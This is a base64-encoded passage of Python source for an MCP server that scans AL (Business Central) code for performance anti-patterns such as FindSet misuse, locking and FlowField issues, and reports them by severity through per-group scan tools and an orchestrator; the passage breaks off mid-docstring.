Zz0ndXRmLTgtc2lnJykKCiAgICBpZiBub3QgcmVzdWx0czoKICAgICAgICByZXR1cm4gZiLinIUgTm8gYXV0b21hdGljIGZpeGVzIGFwcGxpY2FibGUgaW4ge2xlbihmaWxlcyl9IGZpbGVzLiIKCiAgICBtb2RlID0gIkRSWSBSVU4iIGlmIGRyeV9ydW4gZWxzZSAiQVBQTElFRCIKICAgIGxpbmVzID0gWwogICAgICAgIGYiIyBGaXggV29ya3NwYWNlIFJlcG9ydCBbe21vZGV9XVxuIiwKICAgICAgICBmIioqRm9sZGVyOioqIGB7Zm9sZGVyX3BhdGh9YCAgIiwKICAgICAgICBmIioqRmlsZXMgd2l0aCBmaXhlczoqKiB7bGVuKHJlc3VsdHMpfSBvZiB7bGVuKGZpbGVzKX0gICIsCiAgICAgICAgZiIqKlRvdGFsIGZpeCBvcGVyYXRpb25zOioqIHt0b3RhbF9maXhlc31cbiIsCiAgICBdCgogICAgZm9yIGYsIGFwcGxpZWQsIGNoYW5nZWQgaW4gcmVzdWx0czoKICAgICAgICByZWwgPSBmLnJlbGF0aXZlX3RvKGZvbGRlcikgaWYgZi5pc19yZWxhdGl2ZV90byhmb2xkZXIpIGVsc2UgZi5uYW1lCiAgICAgICAgc3RhdHVzID0gIuKchSB3cml0dGVuIiBpZiAobm90IGRyeV9ydW4gYW5kIGNoYW5nZWQpIGVsc2UgKCLwn5OdIHdvdWxkIGNoYW5nZSIgaWYgY2hhbmdlZCBlbHNlICLin7Mgbm8gY2hhbmdlIikKICAgICAgICBsaW5lcy5hcHBlbmQoZiItIGB7cmVsfWAgW3tzdGF0dXN9XTogeycsICcuam9pbihhcHBsaWVkKX0iKQoKICAgIGlmIGRyeV9ydW46CiAgICAgICAgbGluZXMuYXBwZW5kKCJcbj4gU2V0IGBkcnlfcnVuPUZhbHNlYCB0byBhcHBseSBhbGwgY2hhbmdlcy4iKQoKICAgIHJldHVybiAiXG4iLmpvaW4obGluZXMpCgoKQG1jcC50b29sKCkKZGVmIHNjYW5fYWxfY29kZSgKICAgIGFsX2NvZGU6IHN0ciwKICAgIGZpbGVfaGludDogc3RyID0gImlubGluZSIsCikgLT4gc3RyOgogICAgIiIiCiAgICBTY2FuIGEgc25pcHBldCBvZiBBTCBjb2RlIChwYXN0ZWQgaW5saW5lKSBmb3IgcGVyZm9ybWFuY2UgaXNzdWVzLgogICAgVXNlZnVsIGZvciBjaGVja2luZyBjb2RlIGJlZm9yZSBjb21taXR0aW5nIG9yIGR1cmluZyBjb2RlIHJldmlldy4KCiAgICBBcmdzOgogICAgICAgIGFsX2NvZGU6IFRoZSBBTCBjb2RlIHRleHQgdG8gYW5hbHl6ZS4KICAgICAgICBmaWxlX2hpbnQ6IE9wdGlvbmFsIGxhYmVsIGZvciB0aGUgY29kZSAoZS5nLiB0aGUgcHJvY2VkdXJlIG5hbWUpLgogICAgIiIiCiAgICBmaW5kaW5nczogbGlzdFtkaWN0XSA9IFtdCiAgICBmb3IgcCBpbiBQQVRURVJOUzoKICAgICAgICBmb3IgZiBpbiBwWyJkZXRlY3RvciJdKGFsX2NvZGUpOgogICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgInBhdHRlcm4iOiBwWyJpZCJdLAogICAgICAgICAgICAgICAgInNldmVyaXR5IjogcFsic2V2ZXJpdHkiXSwKICAgICAgICAgICAgICAgICJ0aXRsZSI6IHBbInRpdGxlIl0sCiAgICAgICAgICAgICAgICAiZmlsZSI6IGZpbGVfaGludCwKICAgICAgICAgICAgICAgICoqZgogICAgICAgICAgICB9KQoKICAgIGlmIG5vdCBmaW5kaW5nczoKICAgICAgICByZXR1cm4gIuKchSBObyBwZXJmb3JtYW5jZSBpc3N1ZXMgZGV0ZWN0ZWQgaW4gdGhlIHByb3ZpZGVkIGNvZGUuIgoKICAgIHNldmVyaXR5X29yZGVyID0geyJISUdIIjogMCwgIk1FRElVTSI6IDEsICJMT1ciOiAyfQogICAgZmluZGluZ3Nfc29ydGVkID0gc29ydGVkKGZpbmRpbmdzLCBrZXk9bGFtYmRhIHg6IHNldmVyaXR5X29yZGVyLmdldCh4WyJzZXZlcml0eSJdLCA5KSkKCiAgICBsaW5lcyA9IFtmIiMgUGVyZm9ybWFuY2UgSXNzdWVzIGluIGB7ZmlsZV9oaW50fWBcbiJdCiAgICBmb3IgZiBpbiBmaW5kaW5nc19zb3J0ZWQ6CiAgICAgICAgc2V2X2ljb24gPSB7IkhJR0giOiAi8J+UtCIsICJNRURJVU0iOiAi8J+foSIsICJMT1ciOiAi8J+UtSJ9LmdldChmWyJzZXZlcml0eSJdLCAi4pqqIikKICAgICAgICBsaW5lcy5hcHBlbmQoZiJ7c2V2X2ljb259ICoqTHtmWydsaW5lJ119KiogYHtmWydwYXR0ZXJuJ119YCDigJQge2ZbJ21lc3NhZ2UnXX0iKQogICAgICAgIGxpbmVzLmFwcGVuZChmIiAgPiB7ZlsndGl0bGUnXX0iKQogICAgICAgIGlmIGYuZ2V0KCJzbmlwcGV0Iik6CiAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIiAgYGBgYWxcbiAge2ZbJ3NuaXBwZXQnXX1cbiAgYGBgIikKICAgICAgICBsaW5lcy5hcHBlbmQoIiIpCgogICAgcmV0dXJuICJcbiIuam9pbihsaW5lcykKCgojIOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkAojIE9SQ0hFU1RSQVRJT04gTEFZRVIKIyDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZAKIwojIEFyY2hpdGVjdHVyZToKIyAgIGFuYWx5emVfYWxfcGVyZm9ybWFuY2UoZm9sZGVyKSAgICAgICAgICDihpAgbWFzdGVyIG9yY2hlc3RyYXRvcgojICAgICAgIGludGVybmFsbHkgZGVsZWdhdGVzIHRvIG9uZSBmdW5jdGlvbiBwZXIgcGF0dGVybiBncm91cCAoc3ViLWFnZW50cykKIyAgICAgICBhZ2dyZWdhdGVzIGFsbCByZXN1bHRzIGludG8gYSB1bmlmaWVkIHByaW9yaXR5IHJlcG9ydAojCiMgICBJbmRpdmlkdWFsIGdyb3VwIHN1Yi1hZ2VudCB0b29scyBhbHNvIGV4cG9zZWQgc28gdGhlIExMTSBjYW4gY2FsbAojICAgdGhlbSBpbmRlcGVuZGVudGx5IHdoZW4gdGhlIHVzZXIgYXNrcyBhYm91dCBhIHNwZWNpZmljIGNhdGVnb3J5LgojCiMg4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQCgojIOKUgOKUgOKUgCBJbnRlcm5hbCBzdWItYWdlbnQgcnVubmVyIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKZGVmIF9ydW5fZ3JvdXBfYWdlbnQoZ3JvdXBfbmFtZTogc3RyLCBmb2xkZXI6IFBhdGgpIC0+IGRpY3Q6CiAgICAiIiIKICAgIFJ1biBhbGwgZGV0ZWN0b3JzIGJlbG9uZ2luZyB0byBhIHNpbmdsZSBwYXR0ZXJuIGdyb3VwIGFnYWluc3QgZXZlcnkgQUwgZmlsZS4KICAgIFJldHVybnMgYSBzdHJ1Y3R1cmVkIHJlc3VsdCBkaWN0IOKAlCB0aGlzIGlzIHdoYXQgZWFjaCBzdWItYWdlbnQgcHJvZHVjZXMuCiAgICAiIiIKICAgIGdyb3VwX3BhdHRlcm5zID0gW3AgZm9yIHAgaW4gUEFUVEVSTlMgaWYgcFsiZ3JvdXAiXSA9PSBncm91cF9uYW1lXQogICAgZmlsZXMgPSBfYWxfZmlsZXMoZm9sZGVyKQoKICAgIGZpbmRpbmdzOiBsaXN0W2RpY3RdID0gW10KICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgIHRyeToKICAgICAgICAgICAgdGV4dCA9IGYucmVhZF90ZXh0KGVuY29kaW5nPSJ1dGYtOC1zaWciKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgZm9yIHAgaW4gZ3JvdXBfcGF0dGVybnM6CiAgICAgICAgICAgIGZvciBmaW5kaW5nIGluIHBbImRldGVjdG9yIl0odGV4dCk6CiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJwYXR0ZXJuIjogcFsiaWQiXSwKICAgICAgICAgICAgICAgICAgICAic2V2ZXJpdHkiOiBwWyJzZXZlcml0eSJdLAogICAgICAgICAgICAgICAgICAgICJ0aXRsZSI6IHBbInRpdGxlIl0sCiAgICAgICAgICAgICAgICAgICAgImZpbGUiOiBzdHIoZiksCiAgICAgICAgICAgICAgICAgICAgInJlbF9maWxlIjogc3RyKGYucmVsYXRpdmVfdG8oZm9sZGVyKSkgaWYgZi5pc19yZWxhdGl2ZV90byhmb2xkZXIpIGVsc2UgZi5uYW1lLAogICAgICAgICAgICAgICAgICAgICoqZmluZGluZwogICAgICAgICAgICAgICAgfSkKCiAgICBoaWdoICAgPSBbZiBmb3IgZiBpbiBmaW5kaW5ncyBpZiBmWyJzZXZlcml0eSJdID09ICJISUdIIl0KICAgIG1lZGl1bSA9IFtmIGZvciBmIGluIGZpbmRpbmdzIGlmIGZbInNldmVyaXR5Il0gPT0gIk1FRElVTSJdCiAgICBsb3cgICAgPSBbZiBmb3IgZiBpbiBmaW5kaW5ncyBpZiBmWyJzZXZlcml0eSJdID09ICJMT1ciXQoKICAgICMgQXV0by1maXhhYmxlIHBhdHRlcm5zIGluIHRoaXMgZ3JvdXAKICAgIGZpeGFibGUgPSBbcFsiaWQiXSBmb3IgcCBpbiBncm91cF9wYXR0ZXJucyBpZiBfaXNfcGF0dGVybl9hdXRvX2ZpeGFibGUocFsiaWQiXSldCgogICAgcmV0dXJuIHsKICAgICAgICAiZ3JvdXAiOiBncm91cF9uYW1lLAogICAgICAgICJwYXR0ZXJuc19jaGVja2VkIjogW3BbImlkIl0gZm9yIHAgaW4gZ3JvdXBfcGF0dGVybnNdLAogICAgICAgICJmaWxlc19zY2FubmVkIjogbGVuKGZpbGVzKSwKICAgICAgICAidG90YWwiOiBsZW4oZmluZGluZ3MpLAogICAgICAgICJoaWdoIjogbGVuKGhpZ2gpLAogICAgICAgICJtZWRpdW0iOiBsZW4obWVkaXVtKSwKICAgICAgICAibG93IjogbGVuKGxvdyksCiAgICAgICAgImZpeGFibGVfcGF0dGVybnMiOiBmaXhhYmxlLAogICAgICAgICJmaW5kaW5ncyI6IGZpbmRpbmdzLAogICAgfQoKCl9BVVRPX0ZJWEFCTEUgPSB7CiAgICAiRklORF9EQVNIX0JVRkZFUl9PTkUiLAogICAgIkNPVU5UX05PVF9aRVJPIiwKICAgICJDT1VOVF9FUVVBTFNfT05FIiwKICAgICJJU0VNUFRZX0JFRk9SRV9GSU5EU0VUIiwKICAgICJGSU5EU0VUX0JFRk9SRV9NT0RJRllBTEwiLAogICAgIkZJTkRTRVRfQkVGT1JFX0RFTEVURUFMTCIsCiAgICAiTU9ESUZZQUxMX1JVTlRSSUdHRVJfVFJVRSIsCiAgICAiTUlTU0lOR19URU1QT1JBUlkiLAogICAgIkZJTkRTRVRfTU9ESUZZX05PX1RSVUUiLAogICAgIkxPQ0tUQUJMRV9VU0VfVVBETE9DSyIsCiAgICAiRklOREZJUlNUX0lOX0xPT1AiLAp9CgpkZWYgX2lzX3BhdHRlcm5fYXV0b19maXhhYmxlKHBhdHRlcm5faWQ6IHN0cikgLT4gYm9vbDoKICAgIHJldHVybiBwYXR0ZXJuX2lkIGluIF9BVVRPX0ZJWEFCTEUKCgpkZWYgX2Zvcm1hdF9ncm91cF9yZXBvcnQocmVzdWx0OiBkaWN0LCBmb2xkZXI6IFBhdGgsIGRldGFpbF9sZXZlbDogc3RyID0gInN1bW1hcnkiKSAtPiBsaXN0W3N0cl06CiAgICAiIiJSZW5kZXIgb25lIGdyb3VwIHN1Yi1hZ2VudCByZXN1bHQgYXMgbWFya2Rvd24gbGluZXMuIiIiCiAgICBzZXZfaWNvbiA9ICLwn5S0IiBpZiByZXN1bHRbImhpZ2giXSA+IDAgZWxzZSAoIvCfn6EiIGlmIHJlc3VsdFsibWVkaXVtIl0gPiAwIGVsc2UgIuKchSIpCiAgICBsaW5lcyA9IFsKICAgICAgICBmIlxuIyMjIHtzZXZfaWNvbn0ge3Jlc3VsdFsnZ3JvdXAnXX0iLAogICAgICAgIGYiRm91bmQgKip7cmVzdWx0Wyd0b3RhbCddfSoqIGlzc3VlKHMpIOKAlCAiCiAgICAgICAgZiJ7cmVzdWx0WydoaWdoJ119IEhJR0gsIHtyZXN1bHRbJ21lZGl1bSddfSBNRURJVU0sIHtyZXN1bHRbJ2xvdyddfSBMT1ciLAogICAgXQogICAgaWYgcmVzdWx0WyJmaXhhYmxlX3BhdHRlcm5zIl06CiAgICAgICAgbGluZXMuYXBwZW5kKGYiQXV0by1maXhhYmxlIHBhdHRlcm5zOiBgeydgLCBgJy5qb2luKHJlc3VsdFsnZml4YWJsZV9wYXR0ZXJucyddKX1gIikKCiAgICBpZiBkZXRhaWxfbGV2ZWwgIT0gImZ1bGwiIG9yIHJlc3VsdFsidG90YWwiXSA9PSAwOgogICAgICAgIHJldHVybiBsaW5lcwoKICAgIHNldmVyaXR5X29yZGVyID0geyJISUdIIjogMCwgIk1FRElVTSI6IDEsICJMT1ciOiAyfQogICAgZmluZGluZ3Nfc29ydGVkID0gc29ydGVkKHJlc3VsdFsiZmluZGluZ3MiXSwga2V5PWxhbWJkYSB4OiBzZXZlcml0eV9vcmRlci5nZXQoeFsic2V2ZXJpdHkiXSwgOSkpCiAgICBzZWVuOiBzZXRbc3RyXSA9IHNldCgpCiAgICBmb3IgZiBpbiBmaW5kaW5nc19zb3J0ZWRbOjE1XTogICMgY2FwIHBlciBncm91cAogICAgICAgIGtleSA9IGYie2ZbJ3JlbF9maWxlJ119OntmWydsaW5lJ119OntmWydwYXR0ZXJuJ119IgogICAgICAgIGlmIGtleSBpbiBzZWVuOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHNlZW4uYWRkKGtleSkKICAgICAgICBpY29uID0geyJISUdIIjogIvCflLQiLCAiTUVESVVNIjogIvCfn6EiLCAiTE9XIjogIvCflLUifS5nZXQoZlsic2V2ZXJpdHkiXSwgIuKaqiIpCiAgICAgICAgbGluZXMuYXBwZW5kKGYiICAtIHtpY29ufSBge2ZbJ3JlbF9maWxlJ119YCBMe2ZbJ2xpbmUnXX0gYHtmWydwYXR0ZXJuJ119YDoge2ZbJ21lc3NhZ2UnXX0iKQogICAgaWYgbGVuKHJlc3VsdFsiZmluZGluZ3MiXSkgPiAxNToKICAgICAgICBsaW5lcy5hcHBlbmQoZiIgIC0gXyjigKYge2xlbihyZXN1bHRbJ2ZpbmRpbmdzJ10pIC0gMTV9IG1vcmUg4oCUIHVzZSBncm91cCBzdWItYWdlbnQgZm9yIGZ1bGwgbGlzdClfIikKICAgIHJldHVybiBsaW5lcwoKCiMg4pSA4pSA4pSAIEdyb3VwIHN1Yi1hZ2VudCB0b29scyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBFYWNoIGV4cG9zZWQgYXMgaXRzIG93biBNQ1AgdG9vbCBzbyB0aGUgTExNIGNhbiBjYWxsIHRoZW0gaW5kZXBlbmRlbnRseS4KCmRlZiBfZ3JvdXBfdG9vbF9pbXBsKGdyb3VwX25hbWU6IHN0ciwgZm9sZGVyX3BhdGg6IHN0cikgLT4gc3RyOgogICAgZm9sZGVyID0gUGF0aChmb2xkZXJfcGF0aCkKICAgIGlmIG5vdCBmb2xkZXIuZXhpc3RzKCk6CiAgICAgICAgcmV0dXJuIGYiRVJST1I6IEZvbGRlciBub3QgZm91bmQ6IHtmb2xkZXJfcGF0aH0iCiAgICByZXN1bHQgPSBfcnVuX2dyb3VwX2FnZW50KGdyb3VwX25hbWUsIGZvbGRlcikKICAgIGxpbmVzID0gW2YiIyBTdWItQWdlbnQ6IHtncm91cF9uYW1lfVxuIiwKICAgICAgICAgICAgIGYiKipGb2xkZXI6KiogYHtmb2xkZXJfcGF0aH1gICAiLAogICAgICAgICAgICAgZiIqKklzc3VlczoqKiB7cmVzdWx0Wyd0b3RhbCddfSAoe3Jlc3VsdFsnaGlnaCddfSBISUdILCB7cmVzdWx0WydtZWRpdW0nXX0gTUVESVVNLCB7cmVzdWx0Wydsb3cnXX0gTE9XKVxuIl0KICAgIGxpbmVzICs9IF9mb3JtYXRfZ3JvdXBfcmVwb3J0KHJlc3VsdCwgZm9sZGVyLCBkZXRhaWxfbGV2ZWw9ImZ1bGwiKQogICAgcmV0dXJuICJcbiIuam9pbihsaW5lcykKCgpAbWNwLnRvb2woKQpkZWYgc2Nhbl9kYXRhX3RyYW5zZmVyX2lzc3Vlcyhmb2xkZXJfcGF0aDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIFN1Yi1hZ2VudDogU2NhbiBmb3IgRGF0YSBUcmFuc2ZlciBhbnRpLXBhdHRlcm5zLgogICAgQ292ZXJzOiBtaXNzaW5nIFNldExvYWRGaWVsZHMsIEZpbmQoJy0nKSBidWZmZXItc2l6ZS0xLCBGaW5kRmlyc3QgaW4gbG9vcHMsIEZpbmRMYXN0IGluIGxvb3BzLAogICAgU2V0UmFuZ2UrRmluZEZpcnN0IGluc3RlYWQgb2YgR2V0LCBTZXRDdXJyZW50S2V5IG1pc3NpbmcuCiAgICAiIiIKICAgIHJldHVybiBfZ3JvdXBfdG9vbF9pbXBsKCJEYXRhIFRyYW5zZmVyIiwgZm9sZGVyX3BhdGgpCgoKQG1jcC50b29sKCkKZGVmIHNjYW5fZmxvd2ZpZWxkX2lzc3Vlcyhmb2xkZXJfcGF0aDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIFN1Yi1hZ2VudDogU2NhbiBmb3IgRmxvd0ZpZWxkIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IENhbGNGaWVsZHMgaW5zaWRlIGxvb3BzLCBTZXRGaWx0ZXIgb24gRmxvd0ZpZWxkIChjb3JyZWxhdGVkIHN1YnF1ZXJ5KS4KICAgICIiIgogICAgcmV0dXJuIF9ncm91cF90b29sX2ltcGwoIkZsb3dGaWVsZHMiLCBmb2xkZXJfcGF0aCkKCgpAbWNwLnRvb2woKQpkZWYgc2Nhbl9hZ2dyZWdhdGlvbl9pc3N1ZXMoZm9sZGVyX3BhdGg6IHN0cikgLT4gc3RyOgogICAgIiIiCiAgICBTdWItYWdlbnQ6IFNjYW4gZm9yIEFnZ3JlZ2F0aW9uIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IG1hbnVhbCBzdW1tYXRpb24gbG9vcHMgdGhhdCBzaG91bGQgdXNlIENhbGNTdW1zKCkuCiAgICAiIiIKICAgIHJldHVybiBfZ3JvdXBfdG9vbF9pbXBsKCJBZ2dyZWdhdGlvbiIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX2J1bGtfb3BlcmF0aW9uX2lzc3Vlcyhmb2xkZXJfcGF0aDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIFN1Yi1hZ2VudDogU2NhbiBmb3IgQnVsayBPcGVyYXRpb24gYW50aS1wYXR0ZXJucy4KICAgIENvdmVyczogRGVsZXRlIGluIGxvb3AsIEZpbmRTZXQgYmVmb3JlIE1vZGlmeUFsbCwgRmluZFNldCBiZWZvcmUgRGVsZXRlQWxsLAogICAgTW9kaWZ5QWxsIHdpdGggUnVuVHJpZ2dlcj10cnVlLgogICAgIiIiCiAgICByZXR1cm4gX2dyb3VwX3Rvb2xfaW1wbCgiQnVsayBPcGVyYXRpb25zIiwgZm9sZGVyX3BhdGgpCgoKQG1jcC50b29sKCkKZGVmIHNjYW5fZXhpc3RlbmNlX2NoZWNrX2lzc3Vlcyhmb2xkZXJfcGF0aDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIFN1Yi1hZ2VudDogU2NhbiBmb3IgRXhpc3RlbmNlIENoZWNrIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IENvdW50KCkgIT0gMCB2cyBJc0VtcHR5KCksIHJlZHVuZGFudCBJc0VtcHR5IGJlZm9yZSBGaW5kU2V0LCBDb3VudCgpID0gMSB1bmlxdWVuZXNzLgogICAgIiIiCiAgICByZXR1cm4gX2dyb3VwX3Rvb2xfaW1wbCgiRXhpc3RlbmNlIENoZWNrcyIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX2xvY2tpbmdfaXNzdWVzKGZvbGRlcl9wYXRoOiBzdHIpIC0+IHN0cjoKICAgICIiIgogICAgU3ViLWFnZW50OiBTY2FuIGZvciBMb2NraW5nIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IExvY2tUYWJsZSB0b28gZWFybHksIExvY2tUYWJsZSBmb3Igc2VxdWVuY2UgZ2VuZXJhdGlvbiwgRGVsZXRlQWxsIHdpdGhvdXQgSXNFbXB0eSBndWFyZCwKICAgIExvY2tUYWJsZSB2cyBSZWFkSXNvbGF0aW9uIFVwZExvY2suCiAgICAiIiIKICAgIHJldHVybiBfZ3JvdXBfdG9vbF9pbXBsKCJMb2NraW5nIiwgZm9sZGVyX3BhdGgpCgoKQG1jcC50b29sKCkKZGVmIHNjYW5fbWVtb3J5X2lzc3Vlcyhmb2xkZXJfcGF0aDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIFN1Yi1hZ2VudDogU2NhbiBmb3IgTWVtb3J5IC8gQ29weSBhbnRpLXBhdHRlcm5zLgogICAgQ292ZXJzOiBSZWNvcmQgcGFyYW1ldGVyIGJ5IHZhbHVlLCBtaXNzaW5nICd0ZW1wb3JhcnknIGtleXdvcmQsIHRlbXAgdGFibGUgdXNlZCBhcyBEaWN0aW9uYXJ5LAogICAgdGVtcCB0YWJsZSB1c2VkIGFzIGNvbGxlY3Rpb24sIFJlY29yZFJlZiB3aGVuIHR5cGVkIFJlY29yZCBzdWZmaWNlcy4KICAgICIiIgogICAgcmV0dXJuIF9ncm91cF90b29sX2ltcGwoIk1lbW9yeSAvIENvcGllcyIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX3Nob3J0X2NpcmN1aXRfaXNzdWVzKGZvbGRlcl9wYXRoOiBzdHIpIC0+IHN0cjoKICAgICIiIgogICAgU3ViLWFnZW50OiBTY2FuIGZvciBTaG9ydC1DaXJjdWl0IEV2YWx1YXRpb24gYW50aS1wYXR0ZXJucy4KICAgIENvdmVyczogT1IvQU5EIGVhZ2VyIGV2YWx1YXRpb24sIDMrIE9SIGNvbmRpdGlvbnMgKHVzZSBjYXNlIHRydWUgb2YpLAogICAgJ2lmIHRydWUgaW4gWy4uLl0nIGNvbmRpdGlvbiBvcmRlcmluZy4KICAgICIiIgogICAgcmV0dXJuIF9ncm91cF90b29sX2ltcGwoIlNob3J0LUNpcmN1aXQgRXZhbHVhdGlvbiIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX3dyaXRlX3BhdHRlcm5faXNzdWVzKGZvbGRlcl9wYXRoOiBzdHIpIC0+IHN0cjoKICAgICIiIgogICAgU3ViLWFnZW50OiBTY2FuIGZvciBXcml0ZSBQYXR0ZXJuIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IEluc2VydC1vbi1jb25mbGljdCAodHJ5IEluc2VydCwgTW9kaWZ5IG9uIGZhaWwpLCBzaWxlbnQgSW5zZXJ0IGZhaWx1cmUuCiAgICAiIiIKICAgIHJldHVybiBfZ3JvdXBfdG9vbF9pbXBsKCJXcml0ZSBQYXR0ZXJucyIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX2N1cnNvcl9zYWZldHlfaXNzdWVzKGZvbGRlcl9wYXRoOiBzdHIpIC0+IHN0cjoKICAgICIiIgogICAgU3ViLWFnZW50OiBTY2FuIGZvciBDdXJzb3IgU2FmZXR5IGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IFNldFJhbmdlL1NldEZpbHRlciBvbiBhY3RpdmUgRmluZFNldCBjdXJzb3IgKGNvcnJ1cHRzIGl0ZXJhdGlvbiksCiAgICBGaW5kU2V0KHRydWUpIG1pc3Npbmcgd2hlbiBNb2RpZnkgaXMgY2FsbGVkIG9uIGN1cnNvciB2YXJpYWJsZS4KICAgICIiIgogICAgIyBDb21iaW5lIEN1cnNvciBTYWZldHkgKyB0aGUgRmluZFNldCh0cnVlKSBwYXR0ZXJuCiAgICByZXR1cm4gX2dyb3VwX3Rvb2xfaW1wbCgiQ3Vyc29yIFNhZmV0eSIsIGZvbGRlcl9wYXRoKQoKCkBtY3AudG9vbCgpCmRlZiBzY2FuX3N0YWxlX3JlYWRfaXNzdWVzKGZvbGRlcl9wYXRoOiBzdHIpIC0+IHN0cjoKICAgICIiIgogICAgU3ViLWFnZW50OiBTY2FuIGZvciBTdGFsZSBSZWFkIGFudGktcGF0dGVybnMuCiAgICBDb3ZlcnM6IG1pc3NpbmcgUmVhZElzb2xhdGlvbiBvbiByZXBvcnRpbmcgcXVlcmllcywgbWlzc2luZyBTZWxlY3RMYXRlc3RWZXJzaW9uIGluIG11bHRpLXBhc3MgbG9vcHMuCiAgICAiIiIKICAgIHJldHVybiBfZ3JvdXBfdG9vbF9pbXBsKCJTdGFsZSBSZWFkcyIsIGZvbGRlcl9wYXRoKQoKCiMg4pSA4pSA4pSAIE1hc3RlciBvcmNoZXN0cmF0b3IgdG9vbCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKCkBtY3AudG9vbCgpCmRlZiBhbmFseXplX2FsX3BlcmZvcm1hbmNlKAogICAgZm9sZGVyX3BhdGg6IHN0ciwKICAgIGluY2x1ZGVfYWN0aW9uX3BsYW46IGJvb2wgPSBUcnVlLAopIC0+IHN0cjoKICAgICIiIgogICAgTUFTVEVSIE9SQ0hFU1RSQVRPUiDigJQgcnVucyBhbGwgcGF0dGVybi1ncm91cCBzdWItYWdlbnRzIGluIHNlcXVlbmNlIGFuZCBwcm9kdWNlcwogICAgYSB1bmlmaWVkIHBlcmZvcm1hbmNlIHJlcG9ydCB3aXRoIGEgcHJpb3JpdGl6ZWQgYWN0aW9uIHBsYW4uCgogICAgVGhpcyBpcyB0aGUgcHJpbWFyeSBlbnRyeSBwb2ludC4gSXQ6CiAgICAgIDEuIERlbGVnYXRlcyB0byBlYWNoIHBhdHRlcm4tZ3JvdXAgc3ViLWFnZW50IChEYXRhIFRyYW5zZmVyLCBGbG93RmllbGRzLCBMb2NraW5nLCBldGMuKQogICAgICAyLiBBZ2dyZWdhdGVzIGFsbCBmaW5kaW5ncyBhY3Jvc3MgYWxsIGdyb3VwcwogICAgICAzLiBSYW5rcyBmaWxlcyBieSB0b3RhbCBpc3N1ZSBzZXZlcml0eSBzY29yZQogICAgICA0LiBQcm9kdWNlcyBhIHByaW9yaXRpemVkIGFjdGlvbiBwbGFuOiB3aGljaCBmaWxlcyB0byBmaXggZmlyc3QgYW5kIGhvdwogICAgICA1LiBMaXN0cyBhbGwgYXV0by1maXhhYmxlIHBhdHRlcm5zIHdpdGggdGhlIGZpeCBjb21tYW5kIHRvIHJ1bgoKICAgIEFyZ3M6CiAgICAgICAgZm9sZGVyX3BhdGg6IEFic29sdXRlIHBhdGggdG8gdGhlIEFMIHdvcmtzcGFjZSBmb2xkZXIgdG8gYW5hbHl6ZS4KICAgICAgICBpbmNsdWRlX2FjdGlvbl9wbGFuOiBJbmNsdWRlIHRoZSBwcmlvcml0a